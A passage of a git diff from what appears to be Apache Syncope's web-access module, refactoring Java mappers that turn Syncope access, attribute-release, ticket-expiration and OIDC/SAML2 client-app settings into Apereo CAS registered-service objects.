DefaultRegisteredServiceUsernameProvider(conf.getCaseCanonicalizationMode().name())); + } + + @Override + public void map(final GroovyUsernameAttributeProviderConf conf) { + GroovyRegisteredServiceUsernameProvider provider = + new GroovyRegisteredServiceUsernameProvider(conf.getGroovyScript()); + provider.setCanonicalizationMode(conf.getCaseCanonicalizationMode().name()); + service.setUsernameAttributeProvider(provider); + } + + @Override + public void map(final PairwiseOidcUsernameAttributeProviderConf conf) { + PairwiseOidcRegisteredServiceUsernameAttributeProvider provider = + new PairwiseOidcRegisteredServiceUsernameAttributeProvider(); + toPersistentIdGenerator(conf.getPersistentIdGenerator()).ifPresent(provider::setPersistentIdGenerator); + provider.setCanonicalizationMode(conf.getCaseCanonicalizationMode().name()); + service.setUsernameAttributeProvider(provider); + } + + @Override + public void map(final PrincipalAttributeUsernameAttributeProviderConf conf) { + service.setUsernameAttributeProvider( + new PrincipalAttributeRegisteredServiceUsernameProvider( + conf.getUsernameAttribute(), conf.getCaseCanonicalizationMode().name())); + } +} diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/HttpRequestAccessMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/HttpRequestAccessMapper.java new file mode 100644 index 00000000000..c787700be28 --- /dev/null +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/HttpRequestAccessMapper.java @@ -0,0 +1,46 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.wa.starter.mapping; + +import java.util.Optional; +import org.apache.syncope.common.lib.policy.AccessPolicyConf; +import org.apache.syncope.common.lib.policy.AccessPolicyTO; +import org.apache.syncope.common.lib.policy.HttpRequestAccessPolicyConf; +import org.apereo.cas.services.HttpRequestRegisteredServiceAccessStrategy; +import org.apereo.cas.services.RegisteredServiceAccessStrategy; + +public class HttpRequestAccessMapper implements AccessMapper { + + @Override + public boolean supports(final AccessPolicyConf conf) { + return HttpRequestAccessPolicyConf.class.equals(conf.getClass()); + } + + @Override + public RegisteredServiceAccessStrategy build(final AccessPolicyTO policy) { + HttpRequestAccessPolicyConf conf = (HttpRequestAccessPolicyConf) policy.getConf(); + + HttpRequestRegisteredServiceAccessStrategy accessStrategy = new HttpRequestRegisteredServiceAccessStrategy(); + + Optional.ofNullable(conf.getIpAddress()).ifPresent(accessStrategy::setIpAddress); + Optional.ofNullable(conf.getUserAgent()).ifPresent(accessStrategy::setUserAgent); + + return accessStrategy; + } +} diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/OIDCRPClientAppTOMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/OIDCRPClientAppTOMapper.java index 913999d8496..9e2ed96d50d 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/OIDCRPClientAppTOMapper.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/OIDCRPClientAppTOMapper.java @@ -19,21 +19,26 @@ package org.apache.syncope.wa.starter.mapping; import java.util.HashSet; -import java.util.List; import java.util.Objects; +import java.util.Optional; import java.util.Set; import java.util.stream.Collectors; -import java.util.stream.Stream; +import org.apache.commons.lang3.StringUtils; +import org.apache.syncope.common.lib.OIDCScopeConstants; +import org.apache.syncope.common.lib.to.ClientAppTO; import org.apache.syncope.common.lib.to.OIDCRPClientAppTO; import org.apache.syncope.common.lib.types.OIDCGrantType; import org.apache.syncope.common.lib.types.OIDCResponseType; +import org.apache.syncope.common.lib.types.OIDCTokenEncryptionAlg; +import org.apache.syncope.common.lib.types.OIDCTokenSigningAlg; import org.apache.syncope.common.lib.wa.WAClientApp; -import org.apereo.cas.configuration.CasConfigurationProperties; import org.apereo.cas.oidc.claims.OidcAddressScopeAttributeReleasePolicy; import org.apereo.cas.oidc.claims.OidcCustomScopeAttributeReleasePolicy; import org.apereo.cas.oidc.claims.OidcEmailScopeAttributeReleasePolicy; +import org.apereo.cas.oidc.claims.OidcOpenIdScopeAttributeReleasePolicy; import org.apereo.cas.oidc.claims.OidcPhoneScopeAttributeReleasePolicy; import org.apereo.cas.oidc.claims.OidcProfileScopeAttributeReleasePolicy; +import org.apereo.cas.services.BaseMappedAttributeReleasePolicy; import org.apereo.cas.services.ChainingAttributeReleasePolicy; import org.apereo.cas.services.OidcRegisteredService; import org.apereo.cas.services.RegisteredService; @@ -41,81 +46,148 @@ import org.apereo.cas.services.RegisteredServiceAttributeReleasePolicy; import org.apereo.cas.services.RegisteredServiceAuthenticationPolicy; import org.apereo.cas.services.RegisteredServiceMultifactorPolicy; -import org.springframework.context.ConfigurableApplicationContext; +import org.apereo.cas.services.RegisteredServiceProxyGrantingTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceProxyTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceServiceTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceTicketGrantingTicketExpirationPolicy; +import org.apereo.cas.services.ReturnAllowedAttributeReleasePolicy; -@ClientAppMapFor(clientAppClass = OIDCRPClientAppTO.class) public class OIDCRPClientAppTOMapper extends AbstractClientAppMapper { - private static final String CUSTOM_SCOPE = "syncope"; + @Override + public boolean supports(final ClientAppTO clientApp) { + return OIDCRPClientAppTO.class.equals(clientApp.getClass()); + } @Override public RegisteredService map( - final ConfigurableApplicationContext ctx, final WAClientApp clientApp, final RegisteredServiceAuthenticationPolicy authPolicy, final RegisteredServiceMultifactorPolicy mfaPolicy, final RegisteredServiceAccessStrategy accessStrategy, - final RegisteredServiceAttributeReleasePolicy attributeReleasePolicy) { + final RegisteredServiceAttributeReleasePolicy attributeReleasePolicy, + final RegisteredServiceTicketGrantingTicketExpirationPolicy tgtExpirationPolicy, + final RegisteredServiceServiceTicketExpirationPolicy stExpirationPolicy, + final RegisteredServiceProxyGrantingTicketExpirationPolicy tgtProxyExpirationPolicy, + final RegisteredServiceProxyTicketExpirationPolicy stProxyExpirationPolicy) { OIDCRPClientAppTO rp = OIDCRPClientAppTO.class.cast(clientApp.getClientAppTO()); OidcRegisteredService service = new OidcRegisteredService(); + setCommon(service, rp); service.setServiceId(rp.getRedirectUris().stream(). filter(Objects::nonNull). collect(Collectors.joining("|"))); + service.setClientId(rp.getClientId()); service.setClientSecret(rp.getClientSecret()); + + service.setIdTokenIssuer(rp.getIdTokenIssuer()); service.setSignIdToken(rp.isSignIdToken()); - if (!service.isSignIdToken()) { - service.setIdTokenSigningAlg("none"); + if (service.isSignIdToken()) { + Optional.ofNullable(rp.getIdTokenSigningAlg()). + filter(v -> v != OIDCTokenSigningAlg.none). + ifPresent(v -> service.setIdTokenSigningAlg(v.name())); + } else { + service.setIdTokenSigningAlg(OIDCTokenSigningAlg.none.name()); + } + service.setEncryptIdToken(rp.isEncryptIdToken()); + if (service.isEncryptIdToken()) { + Optional.ofNullable(rp.getIdTokenEncryptionAlg()). + filter(v -> v != OIDCTokenEncryptionAlg.none). + ifPresent(v -> service.setIdTokenEncryptionAlg(v.getExternalForm())); + Optional.ofNullable(rp.getIdTokenEncryptionEncoding()). + ifPresent(v -> service.setIdTokenEncryptionEncoding(v.getExternalForm())); + } else { + service.setIdTokenEncryptionAlg(OIDCTokenEncryptionAlg.none.getExternalForm()); } + Optional.ofNullable(rp.getUserInfoSigningAlg()).ifPresent(v -> service.setUserInfoSigningAlg(v.name())); + Optional.ofNullable(rp.getUserInfoEncryptedResponseAlg()). + ifPresent(v -> service.setUserInfoEncryptedResponseAlg(v.getExternalForm())); + Optional.ofNullable(rp.getUserInfoEncryptedResponseEncoding()). + ifPresent(v -> service.setUserInfoEncryptedResponseEncoding(v.getExternalForm())); + service.setJwtAccessToken(rp.isJwtAccessToken()); service.setBypassApprovalPrompt(rp.isBypassApprovalPrompt()); + service.setGenerateRefreshToken(rp.isGenerateRefreshToken()); + if (StringUtils.isNotBlank(rp.getJwksUri())) { + service.setJwks(rp.getJwksUri()); + } else { + service.setJwks(rp.getJwks()); + } + Optional.ofNullable(rp.getSubjectType()).ifPresent(v -> service.setSubjectType(v.getExternalForm())); + Optional.ofNullable(rp.getApplicationType()).ifPresent(v -> service.setApplicationType(v.getExternalForm())); service.setSupportedGrantTypes(rp.getSupportedGrantTypes().stream(). - map(OIDCGrantType::name).collect(Collectors.toCollection(HashSet::new))); + map(OIDCGrantType::getExternalForm).collect(Collectors.toSet())); service.setSupportedResponseTypes(rp.getSupportedResponseTypes().stream(). - map(OIDCResponseType::getExternalForm).collect(Collectors.toCollection(HashSet::new))); - if (rp.getSubjectType() != null) { - service.setSubjectType(rp.getSubjectType().name()); - } + map(OIDCResponseType::getExternalForm).collect(Collectors.toSet())); service.setLogoutUrl(rp.getLogoutUri()); + service.setTokenEndpointAuthenticationMethod(rp.getTokenEndpointAuthenticationMethod().name()); + + service.setScopes(new HashSet<>(rp.getScopes())); ChainingAttributeReleasePolicy chain; if (attributeReleasePolicy instanceof ChainingAttributeReleasePolicy) { chain = (ChainingAttributeReleasePolicy) attributeReleasePolicy; } else { chain = new ChainingAttributeReleasePolicy(); - if (attributeReleasePolicy != null) { - chain.addPolicies(attributeReleasePolicy); - } + Optional.ofNullable(attributeReleasePolicy).ifPresent(chain::addPolicies); + } - chain.addPolicies(new OidcProfileScopeAttributeReleasePolicy(), - new OidcEmailScopeAttributeReleasePolicy(), - new OidcAddressScopeAttributeReleasePolicy(), - new OidcPhoneScopeAttributeReleasePolicy()); + if (rp.getScopes().contains(OIDCScopeConstants.OPEN_ID)) { + chain.addPolicies(new OidcOpenIdScopeAttributeReleasePolicy()); + } + if (rp.getScopes().contains(OIDCScopeConstants.PROFILE)) { + chain.addPolicies(new OidcProfileScopeAttributeReleasePolicy()); + } + if (rp.getScopes().contains(OIDCScopeConstants.ADDRESS)) { + chain.addPolicies(new OidcAddressScopeAttributeReleasePolicy()); + } + if (rp.getScopes().contains(OIDCScopeConstants.EMAIL)) { + chain.addPolicies(new OidcEmailScopeAttributeReleasePolicy()); + } + if (rp.getScopes().contains(OIDCScopeConstants.PHONE)) { + chain.addPolicies(new OidcPhoneScopeAttributeReleasePolicy()); + } - Set customClaims = clientApp.getReleaseAttrs().values().stream(). - map(Objects::toString).collect(Collectors.toCollection(HashSet::new)); + Set customClaims = new HashSet<>(); + if (attributeReleasePolicy instanceof BaseMappedAttributeReleasePolicy) { + customClaims.addAll(((BaseMappedAttributeReleasePolicy) attributeReleasePolicy). + getAllowedAttributes().values().stream(). + map(Objects::toString).collect(Collectors.toSet())); + } else if (attributeReleasePolicy instanceof ReturnAllowedAttributeReleasePolicy) { + customClaims.addAll(((ReturnAllowedAttributeReleasePolicy) attributeReleasePolicy). + getAllowedAttributes().stream().collect(Collectors.toSet())); + } else if (attributeReleasePolicy instanceof ChainingAttributeReleasePolicy) { + ((ChainingAttributeReleasePolicy) attributeReleasePolicy).getPolicies().stream(). + filter(ReturnAllowedAttributeReleasePolicy.class::isInstance). + findFirst().map(ReturnAllowedAttributeReleasePolicy.class::cast). + map(p -> p.getAllowedAttributes().stream().collect(Collectors.toSet())). + ifPresent(customClaims::addAll); + } + if (rp.getScopes().contains(OIDCScopeConstants.PROFILE)) { customClaims.removeAll(OidcProfileScopeAttributeReleasePolicy.ALLOWED_CLAIMS); - customClaims.removeAll(OidcEmailScopeAttributeReleasePolicy.ALLOWED_CLAIMS); + } + if (rp.getScopes().contains(OIDCScopeConstants.ADDRESS)) { customClaims.removeAll(OidcAddressScopeAttributeReleasePolicy.ALLOWED_CLAIMS); + } + if (rp.getScopes().contains(OIDCScopeConstants.EMAIL)) { + customClaims.removeAll(OidcEmailScopeAttributeReleasePolicy.ALLOWED_CLAIMS); + } + if (rp.getScopes().contains(OIDCScopeConstants.PHONE)) { customClaims.removeAll(OidcPhoneScopeAttributeReleasePolicy.ALLOWED_CLAIMS); - if (!customClaims.isEmpty()) { - CasConfigurationProperties properties = ctx.getBean(CasConfigurationProperties.class); - List supportedClaims = properties.getAuthn().getOidc().getDiscovery().getClaims(); - if (!supportedClaims.containsAll(customClaims)) { - properties.getAuthn().getOidc().getDiscovery().setClaims( - Stream.concat(supportedClaims.stream(), customClaims.stream()). - distinct().collect(Collectors.toList())); - } - - chain.addPolicies(new OidcCustomScopeAttributeReleasePolicy( - CUSTOM_SCOPE, customClaims.stream().collect(Collectors.toList()))); - } } - setPolicies(service, authPolicy, mfaPolicy, accessStrategy, chain); + if (!customClaims.isEmpty()) { + service.getScopes().add(OIDCScopeConstants.SYNCOPE); + + chain.addPolicies(new OidcCustomScopeAttributeReleasePolicy( + OIDCScopeConstants.SYNCOPE, customClaims.stream().collect(Collectors.toList()))); + } + + setPolicies(service, authPolicy, mfaPolicy, accessStrategy, chain, + tgtExpirationPolicy, stExpirationPolicy, tgtProxyExpirationPolicy, stProxyExpirationPolicy); return service; } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/RegisteredServiceMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/RegisteredServiceMapper.java index 954d7c8fc59..536147167e6 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/RegisteredServiceMapper.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/RegisteredServiceMapper.java @@ -18,12 +18,14 @@ */ package org.apache.syncope.wa.starter.mapping; -import java.util.Map; +import java.util.List; import java.util.Optional; import org.apache.syncope.common.lib.policy.AttrReleasePolicyTO; import org.apache.syncope.common.lib.policy.DefaultAttrReleasePolicyConf; import org.apache.syncope.common.lib.wa.WAClientApp; +import org.apache.syncope.wa.bootstrap.mapping.AttrReleaseMapper; import org.apereo.cas.authentication.AuthenticationEventExecutionPlan; +import org.apereo.cas.authentication.MultifactorAuthenticationProvider; import org.apereo.cas.services.DefaultRegisteredServiceAccessStrategy; import org.apereo.cas.services.RegisteredService; import org.apereo.cas.services.RegisteredServiceAccessStrategy; @@ -31,64 +33,77 @@ import org.apereo.cas.services.RegisteredServiceAuthenticationPolicy; import org.apereo.cas.services.RegisteredServiceDelegatedAuthenticationPolicy; import org.apereo.cas.services.RegisteredServiceMultifactorPolicy; +import org.apereo.cas.services.RegisteredServiceProxyGrantingTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceProxyTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceServiceTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceTicketGrantingTicketExpirationPolicy; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.ObjectProvider; -import org.springframework.context.ConfigurableApplicationContext; public class RegisteredServiceMapper { - private static final Logger LOG = LoggerFactory.getLogger(RegisteredServiceMapper.class); - - protected final ConfigurableApplicationContext ctx; + protected static final Logger LOG = LoggerFactory.getLogger(RegisteredServiceMapper.class); protected final String pac4jCoreName; protected final ObjectProvider authEventExecPlan; - protected final Map authPolicyConfMappers; + protected final List multifactorAuthenticationProviders; + + protected final List authMappers; + + protected final List accessMappers; - protected final Map accessPolicyConfMappers; + protected final List attrReleaseMappers; - protected final Map attrReleasePolicyConfMappers; + protected final List ticketExpirationMappers; - protected final Map clientAppTOMappers; + protected final List clientAppMappers; public RegisteredServiceMapper( - final ConfigurableApplicationContext ctx, final String pac4jCoreName, final ObjectProvider authEventExecPlan, - final Map authPolicyConfMappers, - final Map accessPolicyConfMappers, - final Map attrReleasePolicyConfMappers, - final Map clientAppTOMappers) { + final List multifactorAuthenticationProviders, + final List authMappers, + final List accessMappers, + final List attrReleaseMappers, + final List ticketExpirationMappers, + final List clientAppMappers) { - this.ctx = ctx; this.pac4jCoreName = pac4jCoreName; this.authEventExecPlan = authEventExecPlan; - this.authPolicyConfMappers = authPolicyConfMappers; - this.accessPolicyConfMappers = accessPolicyConfMappers; - this.attrReleasePolicyConfMappers = attrReleasePolicyConfMappers; - this.clientAppTOMappers = clientAppTOMappers; + this.multifactorAuthenticationProviders = multifactorAuthenticationProviders; + this.authMappers = authMappers; + this.accessMappers = accessMappers; + this.attrReleaseMappers = attrReleaseMappers; + this.ticketExpirationMappers = ticketExpirationMappers; + this.clientAppMappers = clientAppMappers; } public RegisteredService toRegisteredService(final WAClientApp clientApp) { - String key = clientApp.getClientAppTO().getClass().getName(); - ClientAppMapper clientAppMapper = clientAppTOMappers.get(key); - if (clientAppMapper == null) { - LOG.warn("Unable to locate ClientAppMapper using key {}", key); - return null; - } + return clientAppMappers.stream(). + filter(m -> m.supports(clientApp.getClientAppTO())). + findFirst(). + map(clientAppMapper -> toRegisteredService(clientApp, clientAppMapper)). + orElseGet(() -> { + LOG.warn("Unable to locate mapper for {}", clientApp.getClientAppTO().getClass().getName()); + return null; + }); + } + public RegisteredService toRegisteredService(final WAClientApp clientApp, final ClientAppMapper clientAppMapper) { RegisteredServiceAuthenticationPolicy authPolicy = null; RegisteredServiceMultifactorPolicy mfaPolicy = null; RegisteredServiceDelegatedAuthenticationPolicy delegatedAuthPolicy = null; if (clientApp.getAuthPolicy() != null) { - AuthMapper authMapper = authPolicyConfMappers.get( - clientApp.getAuthPolicy().getConf().getClass().getName()); - AuthMapperResult result = Optional.ofNullable(authMapper).map(mapper -> mapper.build( - ctx, pac4jCoreName, authEventExecPlan, clientApp.getAuthPolicy(), clientApp.getAuthModules())). - orElseGet(() -> new AuthMapperResult(null, null, null)); + Optional authMapper = authMappers.stream(). + filter(m -> m.supports(clientApp.getAuthPolicy().getConf())). + findFirst(); + AuthMapperResult result = authMapper.map(mapper -> mapper.build( + pac4jCoreName, authEventExecPlan, multifactorAuthenticationProviders, clientApp.getAuthPolicy(), + clientApp.getAuthModules())). + orElse(AuthMapperResult.EMPTY); authPolicy = result.getAuthPolicy(); mfaPolicy = result.getMfaPolicy(); delegatedAuthPolicy = result.getDelegateAuthPolicy(); @@ -96,11 +111,10 @@ public RegisteredService toRegisteredService(final WAClientApp clientApp) { RegisteredServiceAccessStrategy accessStrategy = null; if (clientApp.getAccessPolicy() != null) { - AccessMapper accessPolicyConfMapper = accessPolicyConfMappers.get( - clientApp.getAccessPolicy().getConf().getClass().getName()); - accessStrategy = Optional.ofNullable(accessPolicyConfMapper). - map(mapper -> mapper.build(clientApp.getAccessPolicy())). - orElse(null); + Optional accessMapper = accessMappers.stream(). + filter(m -> m.supports(clientApp.getAccessPolicy().getConf())). + findFirst(); + accessStrategy = accessMapper.map(mapper -> mapper.build(clientApp.getAccessPolicy())).orElse(null); } if (delegatedAuthPolicy != null) { if (accessStrategy == null) { @@ -121,13 +135,37 @@ public RegisteredService toRegisteredService(final WAClientApp clientApp) { arpTO.setConf(new DefaultAttrReleasePolicyConf()); return arpTO; }); - AttrReleaseMapper attrReleasePolicyConfMapper = attrReleasePolicyConfMappers.get( - attrReleasePolicyTO.getConf().getClass().getName()); + Optional attrReleaseMapper = attrReleaseMappers.stream(). + filter(m -> m.supports(attrReleasePolicyTO.getConf())). + findFirst(); RegisteredServiceAttributeReleasePolicy attributeReleasePolicy = - Optional.ofNullable(attrReleasePolicyConfMapper). - map(mapper -> mapper.build(attrReleasePolicyTO, clientApp.getReleaseAttrs())). - orElse(null); + attrReleaseMapper.map(mapper -> mapper.build(attrReleasePolicyTO)).orElse(null); + + RegisteredServiceTicketGrantingTicketExpirationPolicy tgtExpirationPolicy = null; + RegisteredServiceServiceTicketExpirationPolicy stExpirationPolicy = null; + RegisteredServiceProxyGrantingTicketExpirationPolicy tgtProxyExpirationPolicy = null; + RegisteredServiceProxyTicketExpirationPolicy stProxyExpirationPolicy = null; + if (clientApp.getTicketExpirationPolicy() != null) { + TicketExpirationMapper ticketExpirationMapper = ticketExpirationMappers.stream(). + filter(m -> m.supports(clientApp.getTicketExpirationPolicy().getConf())). + findFirst().orElse(null); + if (ticketExpirationMapper != null) { + tgtExpirationPolicy = ticketExpirationMapper.buildTGT(clientApp.getTicketExpirationPolicy()); + stExpirationPolicy = ticketExpirationMapper.buildST(clientApp.getTicketExpirationPolicy()); + tgtProxyExpirationPolicy = ticketExpirationMapper.buildProxyTGT(clientApp.getTicketExpirationPolicy()); + stProxyExpirationPolicy = ticketExpirationMapper.buildProxyST(clientApp.getTicketExpirationPolicy()); + } + } - return clientAppMapper.map(ctx, clientApp, authPolicy, mfaPolicy, accessStrategy, attributeReleasePolicy); + return clientAppMapper.map( + clientApp, + authPolicy, + mfaPolicy, + accessStrategy, + attributeReleasePolicy, + tgtExpirationPolicy, + stExpirationPolicy, + tgtProxyExpirationPolicy, + stProxyExpirationPolicy); } } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/RemoteEndpointAccessMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/RemoteEndpointAccessMapper.java new file mode 100644 index 00000000000..30f875685a1 --- /dev/null +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/RemoteEndpointAccessMapper.java @@ -0,0 +1,47 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.wa.starter.mapping; + +import java.util.Optional; +import org.apache.syncope.common.lib.policy.AccessPolicyConf; +import org.apache.syncope.common.lib.policy.AccessPolicyTO; +import org.apache.syncope.common.lib.policy.RemoteEndpointAccessPolicyConf; +import org.apereo.cas.services.RegisteredServiceAccessStrategy; +import org.apereo.cas.services.RemoteEndpointServiceAccessStrategy; + +public class RemoteEndpointAccessMapper implements AccessMapper { + + @Override + public boolean supports(final AccessPolicyConf conf) { + return RemoteEndpointAccessPolicyConf.class.equals(conf.getClass()); + } + + @Override + public RegisteredServiceAccessStrategy build(final AccessPolicyTO policy) { + RemoteEndpointAccessPolicyConf conf = (RemoteEndpointAccessPolicyConf) policy.getConf(); + + RemoteEndpointServiceAccessStrategy accessStrategy = new RemoteEndpointServiceAccessStrategy(); + + Optional.ofNullable(conf.getEndpointUrl()).ifPresent(accessStrategy::setEndpointUrl); + + accessStrategy.setAcceptableResponseCodes(String.join(",", conf.getAcceptableResponseCodes())); + + return accessStrategy; + } +} diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/SAML2SPClientAppTOMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/SAML2SPClientAppTOMapper.java index ac7e576c695..97cec97d6fe 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/SAML2SPClientAppTOMapper.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/SAML2SPClientAppTOMapper.java @@ -20,6 +20,7 @@ import java.util.Optional; import java.util.stream.Collectors; +import org.apache.syncope.common.lib.to.ClientAppTO; import org.apache.syncope.common.lib.to.SAML2SPClientAppTO; import org.apache.syncope.common.lib.wa.WAClientApp; import org.apereo.cas.services.RegisteredService; @@ -27,21 +28,31 @@ import org.apereo.cas.services.RegisteredServiceAttributeReleasePolicy; import org.apereo.cas.services.RegisteredServiceAuthenticationPolicy; import org.apereo.cas.services.RegisteredServiceMultifactorPolicy; +import org.apereo.cas.services.RegisteredServiceProxyGrantingTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceProxyTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceServiceTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceTicketGrantingTicketExpirationPolicy; import org.apereo.cas.support.saml.services.SamlRegisteredService; import org.apereo.cas.util.model.TriStateBoolean; -import org.springframework.context.ConfigurableApplicationContext; -@ClientAppMapFor(clientAppClass = SAML2SPClientAppTO.class) public class SAML2SPClientAppTOMapper extends AbstractClientAppMapper { + @Override + public boolean supports(final ClientAppTO clientApp) { + return SAML2SPClientAppTO.class.equals(clientApp.getClass()); + } + @Override public RegisteredService map( - final ConfigurableApplicationContext ctx, final WAClientApp clientApp, final RegisteredServiceAuthenticationPolicy authPolicy, final RegisteredServiceMultifactorPolicy mfaPolicy, final RegisteredServiceAccessStrategy accessStrategy, - final RegisteredServiceAttributeReleasePolicy attributeReleasePolicy) { + final RegisteredServiceAttributeReleasePolicy attributeReleasePolicy, + final RegisteredServiceTicketGrantingTicketExpirationPolicy tgtExpirationPolicy, + final RegisteredServiceServiceTicketExpirationPolicy stExpirationPolicy, + final RegisteredServiceProxyGrantingTicketExpirationPolicy tgtProxyExpirationPolicy, + final RegisteredServiceProxyTicketExpirationPolicy stProxyExpirationPolicy) { SAML2SPClientAppTO sp = SAML2SPClientAppTO.class.cast(clientApp.getClientAppTO()); SamlRegisteredService service = new SamlRegisteredService(); @@ -64,7 +75,8 @@ public RegisteredService map( } service.setServiceProviderNameIdQualifier(sp.getServiceProviderNameIdQualifier()); - setPolicies(service, authPolicy, mfaPolicy, accessStrategy, attributeReleasePolicy); + setPolicies(service, authPolicy, mfaPolicy, accessStrategy, attributeReleasePolicy, + tgtExpirationPolicy, stExpirationPolicy, tgtProxyExpirationPolicy, stProxyExpirationPolicy); return service; } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/TicketExpirationMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/TicketExpirationMapper.java new file mode 100644 index 00000000000..618873a3764 --- /dev/null +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/TicketExpirationMapper.java @@ -0,0 +1,39 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.wa.starter.mapping; + +import org.apache.syncope.common.lib.policy.TicketExpirationPolicyConf; +import org.apache.syncope.common.lib.policy.TicketExpirationPolicyTO; +import org.apereo.cas.services.RegisteredServiceProxyGrantingTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceProxyTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceServiceTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceTicketGrantingTicketExpirationPolicy; + +public interface TicketExpirationMapper { + + boolean supports(TicketExpirationPolicyConf conf); + + RegisteredServiceTicketGrantingTicketExpirationPolicy buildTGT(TicketExpirationPolicyTO policy); + + RegisteredServiceServiceTicketExpirationPolicy buildST(TicketExpirationPolicyTO policy); + + RegisteredServiceProxyGrantingTicketExpirationPolicy buildProxyTGT(TicketExpirationPolicyTO policy); + + RegisteredServiceProxyTicketExpirationPolicy buildProxyST(TicketExpirationPolicyTO policy); +} diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/TimeBasedAccessMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/TimeBasedAccessMapper.java new file mode 100644 index 00000000000..753c6288aa9 --- /dev/null +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/TimeBasedAccessMapper.java @@ -0,0 +1,51 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.wa.starter.mapping; + +import java.time.format.DateTimeFormatter; +import java.util.Optional; +import org.apache.syncope.common.lib.policy.AccessPolicyConf; +import org.apache.syncope.common.lib.policy.AccessPolicyTO; +import org.apache.syncope.common.lib.policy.TimeBasedAccessPolicyConf; +import org.apereo.cas.services.RegisteredServiceAccessStrategy; +import org.apereo.cas.services.TimeBasedRegisteredServiceAccessStrategy; + +public class TimeBasedAccessMapper implements AccessMapper { + + @Override + public boolean supports(final AccessPolicyConf conf) { + return TimeBasedAccessPolicyConf.class.equals(conf.getClass()); + } + + @Override + public RegisteredServiceAccessStrategy build(final AccessPolicyTO policy) { + TimeBasedAccessPolicyConf conf = (TimeBasedAccessPolicyConf) policy.getConf(); + + TimeBasedRegisteredServiceAccessStrategy accessStrategy = new TimeBasedRegisteredServiceAccessStrategy(); + + Optional.ofNullable(conf.getStart()). + map(DateTimeFormatter.ISO_OFFSET_DATE_TIME::format).ifPresent(accessStrategy::setStartingDateTime); + Optional.ofNullable(conf.getEnd()). + map(DateTimeFormatter.ISO_OFFSET_DATE_TIME::format).ifPresent(accessStrategy::setEndingDateTime); + + 